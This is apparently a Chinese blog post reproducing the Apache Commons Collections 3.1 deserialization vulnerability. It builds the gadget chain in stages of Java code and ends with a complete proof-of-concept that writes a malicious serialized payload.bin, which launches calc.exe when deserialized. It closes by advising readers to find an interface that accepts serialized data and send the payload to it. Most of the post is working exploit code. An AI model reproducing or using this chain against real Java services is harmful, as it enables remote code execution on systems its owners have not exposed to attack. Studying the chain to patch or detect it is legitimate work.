Java Apache中的高危漏洞复现

发布于:2023-01-20 ⋅ 阅读:(258) ⋅ 点赞:(0)

Java Apache Collections类漏洞

在15年Apache Commons Collections(ACC)被两位黑客爆出存在反序列化漏洞,由于Apache下的其他框架也免不了大量使用像List、Map、Set等Collection类,因此该漏洞覆盖范围非常之大。并且通过此漏洞可以执行任意操作,也是当年最危险的漏洞之一。

漏洞复现环境
JDK7
Apache Commons Collections 3.2.1之前的所有版本

<dependency>
	<groupId>commons-collections</groupId>
	<artifactId>commons-collections</artifactId>
	<version>3.1</version>
</dependency>

复现过程

  • InvokeTransformer
    此Java类的作用是利用反射机制来创建实例
    主要运用到其中的transform()方法:通过反射进行任意函数的调用。
    复现第一阶段
//通过反射调用弹出计算器的函数
public class Stage1 {
    public static void main(String[] args)  {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}
        );
        
        try {
            // Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
            Object input = Runtime.getRuntime();
            invokerTransformer.transform(input);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

InvokeTransformer的transform方法

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
  • ConstantTransformer
    此类的作用十分简单,返回构造函数传入类的对象。复现漏洞中通过该类返回一个Runtime类
//ConstantTransformer类中运用到的主要代码
public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }
}
  • ChainedTransformer
    此类的作用是实现Transformer的链式调用,通过传入Transformer数组依次执行transfom()方法。(Transformer为这几个关键类的接口。)
    复现第二阶段
//通过ChainedTransformer链式调用,实现InvokeTransformer中transfom()方法的自动触发
public class Stage2 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                // 获得Runtime类对象
                new ConstantTransformer(Runtime.class),
                // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                // 传入getRuntime方法 反射执行invoke方法 得到Runtime实例
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, null }
                ),
                // 传入Runtime实例 执行exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"Calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
    }
}

ChainedTransformer中的transfom()方法

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

到这为止实现了函数的自动触发,但所有的操作都是本地的。炸弹已经准备好了要靠什么来引爆呢,总不能在本地手动点吧。黑客在ACC中又找到了两个类,通过这两个类的配合在反序列化的过程中可以远程执行触发函数。

  • TransformedMap
    这个类继承了AbstractInputCheckedMapDecorator类,从英文大致看出是对Map输入进行检查的类。在当Map里面的元素变动(CUD)时候,自动调用Transformer对象的transform()方法。
    那么思路很清晰了通过decorate()构造TransformedMap,传入之前的ChainedTransformer和一个任意的map,只要我们在一个过程中可以改变传入map的值就成功了。
//TransformedMap漏洞复现主要方法
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    private static final long serialVersionUID = 7023152376788900464L;
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
	protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
}

复现第三阶段

public class Stage3 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
              
                new ConstantTransformer(Runtime.class),
               
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}
                ),
       
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, null }
                ),
          
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"Calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

		//新加代码
        Map innermap = new HashMap();
        innermap.put("value","value");
        Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);
    }
}

  • AnnotationInvocationHandler
    这个类就是复现漏洞的最后一块拼图了,它重写了readObject反序列化方法,因此在反序列化的时候会自动执行readObject方法。在readObject中会通过setValue改变传入的map,从而触发TransformedMap。整个的作用链形成了。
 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

}

最终阶段

public class Poc {
    public static void main(String[] args) {
        try {
            Transformer[] transformers = new Transformer[]{
                    // 获得Runtime类对象
                    new ConstantTransformer(Runtime.class),
                    // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
                    new InvokerTransformer(
                            "getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", null}
                    ),
                    // 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, null}
                    ),
                    // 传入Runtime实例 执行exec方法
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"calc.exe"})
            };

            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

            Map innermap = new HashMap();
            innermap.put("value", "value");
            Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
            // 构造包含恶意map的AnnotationInvocationHandler对象
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
            cst.setAccessible(true);
            Object exploitObj = cst.newInstance(Target.class, outermap);

            // 序列化
            FileOutputStream fos = new FileOutputStream("payload.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(exploitObj);
            oos.close();

            // 反序列化(实现过程)
            FileInputStream fis = new FileInputStream("payload.bin");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object result = ois.readObject();
            ois.close();
            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行后会生成payload.bin文件在本地
在这里插入图片描述
接下来只需找到传输序列化数据的接口,使用生成的恶意序列化数据即可。

本文含有隐藏内容,请 开通VIP 后查看